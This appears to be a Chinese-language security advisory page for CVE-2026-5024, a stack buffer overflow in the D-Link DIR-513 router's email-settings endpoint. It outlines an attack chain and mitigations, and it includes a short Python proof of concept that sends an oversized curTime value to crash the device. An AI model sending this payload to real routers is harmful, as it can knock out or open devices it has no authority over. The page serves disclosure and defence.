IPBUF安全漏洞报告
English
CVE-2026-5024 CVSS 8.8 高危

CVE-2026-5024 D-Link DIR-513 栈溢出漏洞

披露日期: 2026-03-29

漏洞信息

漏洞编号
CVE-2026-5024
漏洞类型
栈溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
D-Link DIR-513

相关标签

栈溢出缓冲区溢出RCED-LinkDIR-513IoT

漏洞概述

D-Link DIR-513路由器1.10版本中存在严重的栈缓冲区溢出漏洞。该漏洞源于/goform/formSetEmail接口对curTime参数处理不当,攻击者可发送特制数据包触发溢出,导致设备崩溃或远程代码执行。由于该产品已停止官方维护,存在极高安全风险。

技术细节

该漏洞位于D-Link DIR-513路由器的Web管理后台处理逻辑中。具体受影响的是/goform/formSetEmail接口,该接口在处理电子邮件设置请求时,未对用户提交的`curTime`参数进行有效的长度验证。攻击者可以向该端点发送包含超长字符串的POST请求,当程序使用不安全的字符串拷贝函数(如strcpy)处理该参数时,会触发基于栈的缓冲区溢出。攻击者可精心构造恶意载荷覆盖栈上的返回地址,从而劫持程序执行流,实现远程代码执行(RCE),完全控制目标设备。

攻击链分析

STEP 1
侦察
扫描网络识别D-Link DIR-513设备,确认其Web管理界面开放且运行固件版本1.10。
STEP 2
漏洞利用
构造包含超长`curTime`参数的恶意POST请求,发送至/goform/formSetEmail接口。
STEP 3
代码执行
触发栈溢出,覆盖返回地址,使设备执行攻击者注入的shellcode,获取设备控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/goform/formSetEmail" # Malicious payload to trigger stack overflow # Adjust length based on specific buffer size (e.g., 300 bytes) payload = { "curTime": "A" * 300 } try: # Send the exploit payload response = requests.post(target_url, data=payload) print(f"Status Code: {response.status_code}") print("Exploit sent. Check device for crash or shell.") except Exception as e: print(f"Error: {e}")

影响范围

D-Link DIR-513 1.10

防御指南

临时缓解措施
由于该产品已停止维护(EOL),厂商不会发布安全补丁。建议用户立即更换设备,或在防火墙上阻断外部对路由器管理接口(通常为80/443端口)的访问,同时将路由器置于隔离网络环境中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表